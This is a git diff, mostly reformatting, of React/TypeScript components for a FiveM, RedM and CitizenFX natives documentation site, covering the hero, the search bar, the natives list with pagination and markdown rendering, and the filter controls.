@@ -76,10 +77,22 @@ export function Tracer() { } + icon={ + + } badge={ - - + + } badgeColor="bg-blue-500" @@ -162,6 +175,12 @@ function Step({ function CitizenFXLogo({ className }: { className?: string }) { return ( - + ); } diff --git a/packages/ui/src/core/layout/hero.tsx b/packages/ui/src/core/layout/hero.tsx index 11bb07d..03729c5 100644 --- a/packages/ui/src/core/layout/hero.tsx +++ b/packages/ui/src/core/layout/hero.tsx @@ -50,7 +50,11 @@ export function Hero() { animate={{ opacity: 1 }} transition={{ delay: 0.25, duration: 0.5 }} > - Your comprehensive resource for FiveM, RedM, and the CitizenFX ecosystem. + Your comprehensive resource for{" "} + FiveM,{" "} + RedM, and the{" "} + CitizenFX{" "} + ecosystem. {/* Search bar */} @@ -71,7 +75,10 @@ export function Hero() { transition={{ delay: 0.45, duration: 0.5 }} > - -
) : query.length > 0 ? (
-

No results found for "{query}"

-

Try different keywords

+

+ No results found for "{query}" +

+

+ Try different keywords +

) : null} @@ -154,4 +160,4 @@ export function SearchBar() {
); -} \ No newline at end of file +} diff --git a/packages/ui/src/core/natives/mobile-natives-header.tsx b/packages/ui/src/core/natives/mobile-natives-header.tsx index c51175f..ded7598 100644 --- a/packages/ui/src/core/natives/mobile-natives-header.tsx +++ b/packages/ui/src/core/natives/mobile-natives-header.tsx @@ -1,91 +1,97 @@ -"use client" +"use client"; -import * as React from "react" -import { Menu, Search, SlidersHorizontal, Code } from "lucide-react" -import { Button } from "@ui/components/button" -import { Badge } from "@ui/components/badge" -import { cn } from "@utils/functions/cn" -import { motion } from "motion/react" +import * as React from "react"; +import { Menu, Search, SlidersHorizontal, Code } from "lucide-react"; +import { Button } from "@ui/components/button"; +import { Badge } from "@ui/components/badge"; +import { cn } from "@utils/functions/cn"; +import { motion } from "motion/react"; interface MobileNativesHeaderProps { - onMenuClick: () => void; - onSearchClick: () => void; - onFilterClick: () => void; - game: 'gta5' | 'rdr3'; - environment: 'all' | 'client' | 'server'; - searchActive?: boolean; + onMenuClick: () => void; + onSearchClick: () => void; + onFilterClick: () => void; + game: "gta5" | "rdr3"; + environment: "all" | "client" | "server"; + searchActive?: boolean; } export function MobileNativesHeader({ - onMenuClick, - onSearchClick, - onFilterClick, - game, - environment, - searchActive = false + onMenuClick, + onSearchClick, + onFilterClick, + game, + environment, + searchActive = false, }: MobileNativesHeaderProps) { - return ( - +
+ -
-
- -
-
-

Natives

-
- - {game === 'gta5' ? 'GTA V' : 'RDR3'} - - - {environment === 'all' ? 'All' : - environment === 'client' ? 'Client' : 'Server'} - -
-
-
+ + +
+
+ +
+
+

Natives

+
+ + {game === "gta5" ? "GTA V" : "RDR3"} + + + {environment === "all" + ? "All" + : environment === "client" + ? "Client" + : "Server"} +
- {!searchActive && ( -
- - -
- )} - - ) +
+
+
+ {!searchActive && ( +
+ + +
+ )} +
+ ); } diff --git a/packages/ui/src/core/natives/natives-content.tsx b/packages/ui/src/core/natives/natives-content.tsx index 8cc2a17..217f3dd 100644 --- a/packages/ui/src/core/natives/natives-content.tsx +++ b/packages/ui/src/core/natives/natives-content.tsx @@ -1,666 +1,798 @@ -"use client" - -import { useEffect, useState, useRef, useMemo } from 'react'; -import { Button } from '@ui/components/button'; -import { ScrollArea } from '@ui/components/scroll-area'; -import { Badge } from '@ui/components/badge'; -import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from '@ui/components/tooltip'; -import { useFetch } from '@core/useFetch'; -import { Code, Copy, Check, ChevronDown, ChevronUp, ExternalLink, Hash, FileCode, Server, Monitor, Layers } from 'lucide-react'; -import { cn } from '@utils/functions/cn'; -import { API_URL } from '@/packages/utils/src/constants/link'; -import { Prism as SyntaxHighlighter } from 'react-syntax-highlighter'; -import { vscDarkPlus } from 'react-syntax-highlighter/dist/esm/styles/prism'; -import ReactMarkdown from 'react-markdown'; -import remarkGfm from 'remark-gfm'; -import remarkBreaks from 'remark-breaks'; -import { motion } from 'motion/react'; +"use client"; + +import { useEffect, useState, useRef, useMemo } from "react"; +import { Button } from "@ui/components/button"; +import { ScrollArea } from "@ui/components/scroll-area"; +import { Badge } from "@ui/components/badge"; +import { + Tooltip, + TooltipContent, + TooltipProvider, + TooltipTrigger, +} from "@ui/components/tooltip"; +import { useFetch } from "@core/useFetch"; +import { + Code, + Copy, + Check, + ChevronDown, + ChevronUp, + ExternalLink, + Hash, + FileCode, + Server, + Monitor, + Layers, +} from "lucide-react"; +import { cn } from "@utils/functions/cn"; +import { API_URL } from "@/packages/utils/src/constants/link"; +import { Prism as SyntaxHighlighter } from "react-syntax-highlighter"; +import { vscDarkPlus } from "react-syntax-highlighter/dist/esm/styles/prism"; +import ReactMarkdown from "react-markdown"; +import remarkGfm from "remark-gfm"; +import remarkBreaks from "remark-breaks"; +import { motion } from "motion/react"; interface Native { + name: string; + params: { name: string; - params: { - name: string; - type: string; - description?: string; - }[]; - results: string; - description: string; - hash: string; - jhash?: string; - ns: string; - resultsDescription?: string; - environment: 'client' | 'server' | 'shared'; - apiset?: string; - url?: string; - category: string; - game?: string; - isCfx?: boolean; + type: string; + description?: string; + }[]; + results: string; + description: string; + hash: string; + jhash?: string; + ns: string; + resultsDescription?: string; + environment: "client" | "server" | "shared"; + apiset?: string; + url?: string; + category: string; + game?: string; + isCfx?: boolean; } interface NativesContentProps { - game: 'gta5' | 'rdr3'; - environment: 'all' | 'client' | 'server'; - category: string; - searchQuery: string; - includeCFX: boolean; + game: "gta5" | "rdr3"; + environment: "all" | "client" | "server"; + category: string; + searchQuery: string; + includeCFX: boolean; } -export function NativesContent({ game, environment, category, searchQuery, includeCFX }: NativesContentProps) { - const [page, setPage] = useState(1); - const [expandedNative, setExpandedNative] = useState(null); - const [copiedHash, setCopiedHash] = useState(null); - const [copiedCode, setCopiedCode] = useState(null); - const [forceRefreshKey, setForceRefreshKey] = useState(0); - - // Track filter changes to reset pagination - const prevFilters = useRef({ game, environment, category, searchQuery, includeCFX }); - - useEffect(() => { - const currentFilters = { game, environment, category, searchQuery, includeCFX }; - if (JSON.stringify(prevFilters.current) !== JSON.stringify(currentFilters)) { - setPage(1); // Reset to first page when filters change - prevFilters.current = currentFilters; - } - }, [game, environment, category, searchQuery, includeCFX]); - - // Construct API URL with all parameters - const apiUrl = useMemo(() => { - const params = new URLSearchParams({ - game, - limit: '20', - offset: ((page - 1) * 20).toString(), - includeCfx: includeCFX.toString() - }); - - if (environment !== 'all') params.set('environment', environment); - if (category) params.set('namespace', category); - if (searchQuery) params.set('search', searchQuery); - - return `${API_URL}/api/natives?${params.toString()}`; - }, [game, environment, category, searchQuery, includeCFX, page]); - - // Use the enhanced fetch hook - const { data, isPending, error } = useFetch<{ - data: Native[], - metadata: { - total: number, - limit: number, - offset: number, - hasMore: boolean, - environmentStats: { - client: number, - server: number, - shared: number, - total: number - } - } - }>(apiUrl); - - const natives = data?.data || []; - const metadata = data?.metadata; - const totalResults = metadata?.total || 0; - const totalPages = Math.ceil((metadata?.total || 0) / 20); - const totalEnvironmentStats = metadata?.environmentStats; - - const handleCopyHash = (hash: string) => { - navigator.clipboard.writeText('0x' + hash); - setCopiedHash(hash); - setTimeout(() => setCopiedHash(null), 2000); +export function NativesContent({ + game, + environment, + category, + searchQuery, + includeCFX, +}: NativesContentProps) { + const [page, setPage] = useState(1); + const [expandedNative, setExpandedNative] = useState(null); + const [copiedHash, setCopiedHash] = useState(null); + const [copiedCode, setCopiedCode] = useState(null); + const [forceRefreshKey, setForceRefreshKey] = useState(0); + + // Track filter changes to reset pagination + const prevFilters = useRef({ + game, + environment, + category, + searchQuery, + includeCFX, + }); + + useEffect(() => { + const currentFilters = { + game, + environment, + category, + searchQuery, + includeCFX, }; - - const toggleExpandedNative = (hash: string) => { - setExpandedNative(expandedNative === hash ? null : hash); + if ( + JSON.stringify(prevFilters.current) !== JSON.stringify(currentFilters) + ) { + setPage(1); // Reset to first page when filters change + prevFilters.current = currentFilters; + } + }, [game, environment, category, searchQuery, includeCFX]); + + // Construct API URL with all parameters + const apiUrl = useMemo(() => { + const params = new URLSearchParams({ + game, + limit: "20", + offset: ((page - 1) * 20).toString(), + includeCfx: includeCFX.toString(), + }); + + if (environment !== "all") params.set("environment", environment); + if (category) params.set("namespace", category); + if (searchQuery) params.set("search", searchQuery); + + return `${API_URL}/api/natives?${params.toString()}`; + }, [game, environment, category, searchQuery, includeCFX, page]); + + // Use the enhanced fetch hook + const { data, isPending, error } = useFetch<{ + data: Native[]; + metadata: { + total: number; + limit: number; + offset: number; + hasMore: boolean; + environmentStats: { + client: number; + server: number; + shared: number; + total: number; + }; }; + }>(apiUrl); + + const natives = data?.data || []; + const metadata = data?.metadata; + const totalResults = metadata?.total || 0; + const totalPages = Math.ceil((metadata?.total || 0) / 20); + const totalEnvironmentStats = metadata?.environmentStats; + + const handleCopyHash = (hash: string) => { + navigator.clipboard.writeText("0x" + hash); + setCopiedHash(hash); + setTimeout(() => setCopiedHash(null), 2000); + }; + + const toggleExpandedNative = (hash: string) => { + setExpandedNative(expandedNative === hash ? null : hash); + }; + + const renderNative = (native: Native) => { + const isCfx = native.ns === "CFX" || native.isCfx; + + const environmentClass = + native.environment === "server" + ? "from-green-500/5 to-transparent border-l-green-500/50" + : native.environment === "shared" + ? "from-purple-500/5 to-transparent border-l-purple-500/50" + : "from-blue-500/5 to-transparent border-l-blue-500/50"; + + const environmentLabel = + native.environment === "server" + ? "Server" + : native.environment === "shared" + ? "Shared" + : "Client"; + + const environmentBadgeClass = + native.environment === "server" + ? "bg-green-500/20 text-green-300 border-green-500/30" + : native.environment === "shared" + ? "bg-purple-500/20 text-purple-300 border-purple-500/30" + : "bg-blue-500/20 text-blue-300 border-blue-500/30"; + + /** + * Pre-processes native description content to convert plain text patterns to markdown + */ + const preprocessNativeDescription = (content: string): string => { + if (!content) return content; + + let processed = content; + + // Convert plain URLs to markdown links + processed = processed.replace( + /(?\])"]+)/g, + "[$1]($1)", + ); + + // Detect and format code examples (lines that look like code) + // Pattern: lines starting with common code patterns + const codePatterns = [ + /^(int|float|bool|void|char|string|BOOL|INT|FLOAT|Vector3)\s+\w+/m, // Variable declarations + /^\w+\s*[=:]\s*\w+\s*\(/m, // Assignments with function calls + /^(Example|Result)\s*:/im, // Example labels + /^\w+\.\w+\(/m, // Method calls like Citizen.CreateThread( + /^(GET_|SET_|IS_|HAS_|CREATE_|DELETE_|ACTIVATE_|DISABLE_)\w+\(/m, // Native calls + ]; + + // Split into lines and process + const lines = processed.split("\n"); + let inCodeBlock = false; + let codeBlockLines: string[] = []; + const resultLines: string[] = []; + + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + const trimmedLine = line.trim(); + + // Check if this line looks like code + const looksLikeCode = + codePatterns.some((p) => p.test(trimmedLine)) || + /^[\w_]+\s*\(/.test(trimmedLine) || // Function calls + /^[\w_]+\s*=\s*/.test(trimmedLine) || // Assignments + /;\s*$/.test(trimmedLine) || // Ends with semicolon + /^\{|\}$/.test(trimmedLine); // Braces + + // Format contributor comments: [date] username: + const contributorMatch = trimmedLine.match( + /^\[(\d{2}\/\d{2}\/\d{4})\]\s*(\w+)\s*:/, + ); + if (contributorMatch) { + // End any open code block + if (inCodeBlock && codeBlockLines.length > 0) { + resultLines.push("```lua"); + resultLines.push(...codeBlockLines); + resultLines.push("```"); + codeBlockLines = []; + inCodeBlock = false; + } + // Format as a styled contributor note + const restOfLine = trimmedLine + .substring(contributorMatch[0].length) + .trim(); + resultLines.push(""); + resultLines.push( + `> **${contributorMatch[2]}** *(${contributorMatch[1]})*${restOfLine ? ": " + restOfLine : ""}`, + ); + continue; + } - const renderNative = (native: Native) => { - const isCfx = native.ns === 'CFX' || native.isCfx; - - const environmentClass = native.environment === 'server' ? - 'from-green-500/5 to-transparent border-l-green-500/50' : - native.environment === 'shared' ? - 'from-purple-500/5 to-transparent border-l-purple-500/50' : - 'from-blue-500/5 to-transparent border-l-blue-500/50'; - - const environmentLabel = - native.environment === 'server' ? 'Server' : - native.environment === 'shared' ? 'Shared' : - 'Client'; - - const environmentBadgeClass = - native.environment === 'server' ? 'bg-green-500/20 text-green-300 border-green-500/30' : - native.environment === 'shared' ? 'bg-purple-500/20 text-purple-300 border-purple-500/30' : - 'bg-blue-500/20 text-blue-300 border-blue-500/30'; - - /** - * Pre-processes native description content to convert plain text patterns to markdown - */ - const preprocessNativeDescription = (content: string): string => { - if (!content) return content; - - let processed = content; - - // Convert plain URLs to markdown links - processed = processed.replace( - /(?\])"]+)/g, - '[$1]($1)' - ); - - // Detect and format code examples (lines that look like code) - // Pattern: lines starting with common code patterns - const codePatterns = [ - /^(int|float|bool|void|char|string|BOOL|INT|FLOAT|Vector3)\s+\w+/m, // Variable declarations - /^\w+\s*[=:]\s*\w+\s*\(/m, // Assignments with function calls - /^(Example|Result)\s*:/im, // Example labels - /^\w+\.\w+\(/m, // Method calls like Citizen.CreateThread( - /^(GET_|SET_|IS_|HAS_|CREATE_|DELETE_|ACTIVATE_|DISABLE_)\w+\(/m, // Native calls - ]; - - // Split into lines and process - const lines = processed.split('\n'); - let inCodeBlock = false; - let codeBlockLines: string[] = []; - const resultLines: string[] = []; - - for (let i = 0; i < lines.length; i++) { - const line = lines[i]; - const trimmedLine = line.trim(); - - // Check if this line looks like code - const looksLikeCode = - codePatterns.some(p => p.test(trimmedLine)) || - /^[\w_]+\s*\(/.test(trimmedLine) || // Function calls - /^[\w_]+\s*=\s*/.test(trimmedLine) || // Assignments - /;\s*$/.test(trimmedLine) || // Ends with semicolon - /^\{|\}$/.test(trimmedLine); // Braces - - // Format contributor comments: [date] username: - const contributorMatch = trimmedLine.match(/^\[(\d{2}\/\d{2}\/\d{4})\]\s*(\w+)\s*:/); - if (contributorMatch) { - // End any open code block - if (inCodeBlock && codeBlockLines.length > 0) { - resultLines.push('```lua'); - resultLines.push(...codeBlockLines); - resultLines.push('```'); - codeBlockLines = []; - inCodeBlock = false; - } - // Format as a styled contributor note - const restOfLine = trimmedLine.substring(contributorMatch[0].length).trim(); - resultLines.push(''); - resultLines.push(`> **${contributorMatch[2]}** *(${contributorMatch[1]})*${restOfLine ? ': ' + restOfLine : ''}`); - continue; - } - - // Convert bullet points (- or *) to proper markdown if not already - if (/^[-*]\s+\w/.test(trimmedLine) && !trimmedLine.startsWith('- [') && !trimmedLine.startsWith('* [')) { - // End any open code block - if (inCodeBlock && codeBlockLines.length > 0) { - resultLines.push('```lua'); - resultLines.push(...codeBlockLines); - resultLines.push('```'); - codeBlockLines = []; - inCodeBlock = false; - } - resultLines.push(line); - continue; - } - - if (looksLikeCode && trimmedLine.length > 0) { - if (!inCodeBlock) { - inCodeBlock = true; - } - codeBlockLines.push(line); - } else { - // End code block if we were in one - if (inCodeBlock && codeBlockLines.length > 0) { - resultLines.push('```lua'); - resultLines.push(...codeBlockLines); - resultLines.push('```'); - codeBlockLines = []; - inCodeBlock = false; - } - resultLines.push(line); - } - } - - // Close any remaining code block - if (inCodeBlock && codeBlockLines.length > 0) { - resultLines.push('```lua'); - resultLines.push(...codeBlockLines); - resultLines.push('```'); - } - - return resultLines.join('\n'); - }; - - const renderMarkdown = (content: string) => { - const processedContent = preprocessNativeDescription(content); - - return ( - -
- {language || 'code'} - -
- - {code} - -
- ); - } - return {children}; - }, - p({ children }) { - // Use div instead of p to avoid hydration errors when code blocks are nested - return
{children}
; - }, - ul({ children }) { - return
    {children}
; - }, - li({ children }) { - return
  • {children}
  • ; - }, - a({ href, children }) { - return ( - - {children} - - - ); - }, - blockquote({ children }) { - return ( -
    - {children} -
    - ); - }, - strong({ children }) { - return {children}; - }, - em({ children }) { - return {children}; - } - }} - > - {processedContent} - - ); - }; - - const handleCopyCode = (code: string) => { - navigator.clipboard.writeText(code); - setCopiedCode(code); - setTimeout(() => setCopiedCode(null), 2000); - }; - - return ( -
    -
    -

    - {native.name} - -

    - -
    - {native.hash} {native.jhash ? `(${native.jhash})` : ''} -
    -
    - -
    - {native.description ? - renderMarkdown(native.description) : -

    No description available.

    - } -
    - - {native.params.length > 0 && ( -
    -

    Parameters

    -
    - {native.params.map((param, index) => ( -
    -
    {param.type}
    -
    - {param.name} - {param.description && ( -
    - {renderMarkdown(param.description)} -
    - )} -
    -
    - ))} -
    -
    - )} - -
    -

    Returns

    -
    -
    -
    {native.results}
    -
    - {native.resultsDescription ? - renderMarkdown(native.resultsDescription) : - "No return description available." - } -
    -
    -
    -
    + // Convert bullet points (- or *) to proper markdown if not already + if ( + /^[-*]\s+\w/.test(trimmedLine) && + !trimmedLine.startsWith("- [") && + !trimmedLine.startsWith("* [") + ) { + // End any open code block + if (inCodeBlock && codeBlockLines.length > 0) { + resultLines.push("```lua"); + resultLines.push(...codeBlockLines); + resultLines.push("```"); + codeBlockLines = []; + inCodeBlock = false; + } + resultLines.push(line); + continue; + } -
    -
    - - {native.ns} - + if (looksLikeCode && trimmedLine.length > 0) { + if (!inCodeBlock) { + inCodeBlock = true; + } + codeBlockLines.push(line); + } else { + // End code block if we were in one + if (inCodeBlock && codeBlockLines.length > 0) { + resultLines.push("```lua"); + resultLines.push(...codeBlockLines); + resultLines.push("```"); + codeBlockLines = []; + inCodeBlock = false; + } + resultLines.push(line); + } + } - - {environmentLabel} - + // Close any remaining code block + if (inCodeBlock && codeBlockLines.length > 0) { + resultLines.push("```lua"); + resultLines.push(...codeBlockLines); + resultLines.push("```"); + } - - {native.game === 'gta5' ? 'GTA V' : 'RDR3'} - + return resultLines.join("\n"); + }; - {isCfx && ( - - CFX - + const renderMarkdown = (content: string) => { + const processedContent = preprocessNativeDescription(content); + + return ( + +
    + {language || "code"} +
    - - + {code} + +
    + ); + } + return ( + + {children} + + ); + }, + p({ children }) { + // Use div instead of p to avoid hydration errors when code blocks are nested + return ( +
    + {children}
    + ); + }, + ul({ children }) { + return ( +
      + {children} +
    + ); + }, + li({ children }) { + return
  • {children}
  • ; + }, + a({ href, children }) { + return ( + + {children} + + + ); + }, + blockquote({ children }) { + return ( +
    + {children} +
    + ); + }, + strong({ children }) { + return ( + + {children} + + ); + }, + em({ children }) { + return {children}; + }, + }} + > + {processedContent} + + ); + }; - {expandedNative === native.hash && ( -
    - {/* Expanded content */} -
    - )} -
    - ); + const handleCopyCode = (code: string) => { + navigator.clipboard.writeText(code); + setCopiedCode(code); + setTimeout(() => setCopiedCode(null), 2000); }; return ( -
    - +
    +

    + -
    -
    -

    -
    - -
    - {game === 'gta5' ? 'GTA V' : 'RDR3'} Natives - {includeCFX && ( - - +CFX - - )} -

    -

    - {isPending ? 'Loading...' : ( - <> - {totalResults.toLocaleString()} natives found - {searchQuery && matching "{searchQuery}"} - - )} -

    -
    + {native.name} + + +

    + +
    + {native.hash} {native.jhash ? `(${native.jhash})` : ""} +
    +
    - {totalEnvironmentStats && ( -
    -
    - - {totalEnvironmentStats.client.toLocaleString()} - Client -
    -
    -
    - - {totalEnvironmentStats.server.toLocaleString()} - Server -
    -
    -
    - - {totalEnvironmentStats.shared.toLocaleString()} - Shared -
    -
    - )} -
    - - - {isPending ? ( -
    - -
    -
    -
    - -
    -
    -

    Loading natives...

    - -
    - ) : error ? ( -
    - -
    - -
    -

    Error loading natives

    -

    {String(error)}

    - -
    -
    - ) : natives.length === 0 ? ( -
    - -
    - -
    -

    No natives found

    -

    - Try adjusting your search or filters to find what you're looking for. You may also need to enable the "Include CFX Natives" option. -

    - {searchQuery && ( - - )} -
    -
    - ) : ( -
    -
    - {natives.map((native, index) => ( - - {/* Environment indicator bar */} -
    - - {/* Gradient overlay on hover */} -
    - -
    - {renderNative(native)} -
    - - ))} -
    +
    + {native.description ? ( + renderMarkdown(native.description) + ) : ( +

    + No description available. +

    + )} +
    - {totalPages > 1 && ( -
    -

    - Page {page} of {totalPages} -

    -
    - - -
    - {Array.from({ length: Math.min(5, totalPages) }, (_, i) => { - let pageNum; - if (totalPages <= 5) { - pageNum = i + 1; - } else if (page <= 3) { - pageNum = i + 1; - } else if (page >= totalPages - 2) { - pageNum = totalPages - 4 + i; - } else { - pageNum = page - 2 + i; - } - return ( - - ); - })} -
    - - -
    -
    + {native.params.length > 0 && ( +
    +

    Parameters

    +
    + {native.params.map((param, index) => ( +
    +
    + {param.type} +
    +
    + + {param.name} + + {param.description && ( +
    + {renderMarkdown(param.description)} +
    )} +
    + ))} +
    +
    + )} + +
    +

    Returns

    +
    +
    +
    + {native.results} +
    +
    + {native.resultsDescription + ? renderMarkdown(native.resultsDescription) + : "No return description available."} +
    +
    +
    +
    + +
    +
    + + {native.ns} + + + + {environmentLabel} + + + + {native.game === "gta5" ? "GTA V" : "RDR3"} + + + {isCfx && ( + + CFX + )} +
    + +
    + + {expandedNative === native.hash && ( +
    + {/* Expanded content */} +
    + )} +
    ); + }; + + return ( +
    + +
    +
    +

    +
    + +
    + {game === "gta5" ? "GTA V" : "RDR3"} Natives + {includeCFX && ( + + +CFX + + )} +

    +

    + {isPending ? ( + "Loading..." + ) : ( + <> + + {totalResults.toLocaleString()} + {" "} + natives found + {searchQuery && ( + + {" "} + matching "{searchQuery}" + + )} + + )} +

    +
    + + {totalEnvironmentStats && ( +
    +
    + + + {totalEnvironmentStats.client.toLocaleString()} + + Client +
    +
    +
    + + + {totalEnvironmentStats.server.toLocaleString()} + + Server +
    +
    +
    + + + {totalEnvironmentStats.shared.toLocaleString()} + + Shared +
    +
    + )} +
    + + + {isPending ? ( +
    + +
    +
    +
    + +
    +
    +

    Loading natives...

    + +
    + ) : error ? ( +
    + +
    + +
    +

    + Error loading natives +

    +

    + {String(error)} +

    + +
    +
    + ) : natives.length === 0 ? ( +
    + +
    + +
    +

    No natives found

    +

    + Try adjusting your search or filters to find what you're looking + for. You may also need to enable the "Include CFX Natives" option. +

    + {searchQuery && ( + + )} +
    +
    + ) : ( +
    +
    + {natives.map((native, index) => ( + + {/* Environment indicator bar */} +
    + + {/* Gradient overlay on hover */} +
    + +
    {renderNative(native)}
    + + ))} +
    + + {totalPages > 1 && ( +
    +

    + Page{" "} + {page}{" "} + of{" "} + + {totalPages} + +

    +
    + + +
    + {Array.from({ length: Math.min(5, totalPages) }, (_, i) => { + let pageNum; + if (totalPages <= 5) { + pageNum = i + 1; + } else if (page <= 3) { + pageNum = i + 1; + } else if (page >= totalPages - 2) { + pageNum = totalPages - 4 + i; + } else { + pageNum = page - 2 + i; + } + return ( + + ); + })} +
    + + +
    +
    + )} +
    + )} +
    + ); } diff --git a/packages/ui/src/core/natives/natives-filter-sheet.tsx b/packages/ui/src/core/natives/natives-filter-sheet.tsx index eaa5286..6a16092 100644 --- a/packages/ui/src/core/natives/natives-filter-sheet.tsx +++ b/packages/ui/src/core/natives/natives-filter-sheet.tsx @@ -1,365 +1,400 @@ -"use client" +"use client"; -import { useState } from "react" -import { Button } from "@ui/components/button" -import { Sheet, SheetContent } from "@ui/components/sheet" -import { Tabs, TabsContent, TabsList, TabsTrigger } from "@ui/components/tabs" -import { Gamepad2, Monitor, Server, Code, Sparkles, Layers } from "lucide-react" -import { cn } from "@utils/functions/cn" -import { ScrollArea } from "@ui/components/scroll-area" -import { Switch } from "@ui/components/switch" -import { Label } from "@ui/components/label" -import { motion } from "motion/react" +import { useState } from "react"; +import { Button } from "@ui/components/button"; +import { Sheet, SheetContent } from "@ui/components/sheet"; +import { Tabs, TabsContent, TabsList, TabsTrigger } from "@ui/components/tabs"; +import { + Gamepad2, + Monitor, + Server, + Code, + Sparkles, + Layers, +} from "lucide-react"; +import { cn } from "@utils/functions/cn"; +import { ScrollArea } from "@ui/components/scroll-area"; +import { Switch } from "@ui/components/switch"; +import { Label } from "@ui/components/label"; +import { motion } from "motion/react"; interface NativesFilterSheetProps { - isOpen: boolean - onClose: () => void - game: 'gta5' | 'rdr3' - onGameChange: (game: 'gta5' | 'rdr3') => void - environment: 'all' | 'client' | 'server' - onEnvironmentChange: (env: 'all' | 'client' | 'server') => void - categories: string[] - categoriesByGameAndEnv?: Record> | null - category: string - onCategoryChange: (category: string) => void - includeCFX: boolean - onToggleCFX: () => void + isOpen: boolean; + onClose: () => void; + game: "gta5" | "rdr3"; + onGameChange: (game: "gta5" | "rdr3") => void; + environment: "all" | "client" | "server"; + onEnvironmentChange: (env: "all" | "client" | "server") => void; + categories: string[]; + categoriesByGameAndEnv?: Record> | null; + category: string; + onCategoryChange: (category: string) => void; + includeCFX: boolean; + onToggleCFX: () => void; } export function NativesFilterSheet({ - isOpen, - onClose, - game, - onGameChange, - environment, - onEnvironmentChange, - categories = [], - categoriesByGameAndEnv = null, - category, - onCategoryChange, - includeCFX, - onToggleCFX + isOpen, + onClose, + game, + onGameChange, + environment, + onEnvironmentChange, + categories = [], + categoriesByGameAndEnv = null, + category, + onCategoryChange, + includeCFX, + onToggleCFX, }: NativesFilterSheetProps) { - const [activeTab, setActiveTab] = useState('game') + const [activeTab, setActiveTab] = useState("game"); - // Get the appropriate categories based on current game and environment - const getRelevantCategories = () => { - let baseCats: string[] = []; - if (categoriesByGameAndEnv && categoriesByGameAndEnv[game] && categoriesByGameAndEnv[game][environment]) { - baseCats = [...categoriesByGameAndEnv[game][environment]]; - } else { - baseCats = [...categories]; - } + // Get the appropriate categories based on current game and environment + const getRelevantCategories = () => { + let baseCats: string[] = []; + if ( + categoriesByGameAndEnv && + categoriesByGameAndEnv[game] && + categoriesByGameAndEnv[game][environment] + ) { + baseCats = [...categoriesByGameAndEnv[game][environment]]; + } else { + baseCats = [...categories]; + } - if (!includeCFX) { - return baseCats.filter(cat => cat !== 'CFX'); - } + if (!includeCFX) { + return baseCats.filter((cat) => cat !== "CFX"); + } - return baseCats; - }; + return baseCats; + }; - const relevantCategories = getRelevantCategories(); + const relevantCategories = getRelevantCategories(); - const serverCategories = relevantCategories.filter(cat => - cat === 'NETWORK' || - cat === 'PLAYER' || - cat === 'ENTITY' || - cat === 'VEHICLE' || - cat.includes('SERVER') || - cat.includes('_SV') - ); + const serverCategories = relevantCategories.filter( + (cat) => + cat === "NETWORK" || + cat === "PLAYER" || + cat === "ENTITY" || + cat === "VEHICLE" || + cat.includes("SERVER") || + cat.includes("_SV"), + ); - const clientCategories = relevantCategories.filter(cat => - !serverCategories.includes(cat) && cat !== 'CFX' - ); + const clientCategories = relevantCategories.filter( + (cat) => !serverCategories.includes(cat) && cat !== "CFX", + ); - return ( - !open && onClose()}> - - {/* Drag handle with better visibility */} -
    -
    -
    -
    + return ( + !open && onClose()}> + + {/* Drag handle with better visibility */} +
    +
    +
    +
    - {/* Rest of the sheet content */} - -
    - - - Game - - - Environment - - - Category - - -
    + {/* Rest of the sheet content */} + +
    + + + Game + + + Environment + + + Category + + +
    - - -
    - + + +
    + - -
    + +
    -
    -
    -
    - - -
    - -
    -

    - CitizenFX framework functions for both games. -

    -
    -
    -
    +
    +
    +
    + + +
    + +
    +

    + CitizenFX framework functions for both games. +

    +
    + + - - -
    - + + +
    + - + - -
    + +
    -
    -
    -
    -
    - Client - Player's computer -
    -
    -
    - Server - Game server -
    -
    -
    -
    -
    +
    +
    +
    +
    + + Client - Player's + computer + +
    +
    +
    + + Server - Game + server + +
    +
    +
    + + - - - - + + + + - {relevantCategories.includes('CFX') && ( - - )} + {relevantCategories.includes("CFX") && ( + + )} - {serverCategories.length > 0 && environment !== 'client' && ( -
    -

    - - Server Categories -

    -
    - {serverCategories.map((cat) => ( - - ))} -
    -
    - )} + {serverCategories.length > 0 && environment !== "client" && ( +
    +

    + + Server Categories +

    +
    + {serverCategories.map((cat) => ( + + ))} +
    +
    + )} - {clientCategories.length > 0 && environment !== 'server' && ( -
    -

    - - Client Categories -

    -
    - {clientCategories.map((cat) => ( - - ))} -
    -
    - )} -
    -
    -
    -
    - - - ) + {clientCategories.length > 0 && environment !== "server" && ( +
    +

    + + Client Categories +

    +
    + {clientCategories.map((cat) => ( + + ))} +
    +
    + )} + + + +
    + + + ); } diff --git a/packages/ui/src/core/natives/natives-selector.tsx b/packages/ui/src/core/natives/natives-selector.tsx index 94c7df6..e78d483 100644 --- a/packages/ui/src/core/natives/natives-selector.tsx +++ b/packages/ui/src/core/natives/natives-selector.tsx @@ -1,238 +1,271 @@ -"use client" +"use client"; import { Button } from "@ui/components/button"; -import { Popover, PopoverContent, PopoverTrigger } from "@ui/components/popover"; -import { Sheet, SheetContent, SheetHeader, SheetTitle, SheetTrigger } from "@ui/components/sheet"; -import { ChevronDown, Gamepad2, Monitor, Server, Code, Filter, ToggleRight, ToggleLeft } from "lucide-react"; +import { + Popover, + PopoverContent, + PopoverTrigger, +} from "@ui/components/popover"; +import { + Sheet, + SheetContent, + SheetHeader, + SheetTitle, + SheetTrigger, +} from "@ui/components/sheet"; +import { + ChevronDown, + Gamepad2, + Monitor, + Server, + Code, + Filter, + ToggleRight, + ToggleLeft, +} from "lucide-react"; import { cn } from "@utils/functions/cn"; interface GameSelectorProps { - game: 'gta5' | 'rdr3'; // Remove CFX as game option - onGameChange: (game: 'gta5' | 'rdr3') => void; + game: "gta5" | "rdr3"; // Remove CFX as game option + onGameChange: (game: "gta5" | "rdr3") => void; } export function GameSelector({ game, onGameChange }: GameSelectorProps) { - return ( - - - - - -
    - - -
    -
    -
    - ) + return ( + + + + + +
    + + +
    +
    +
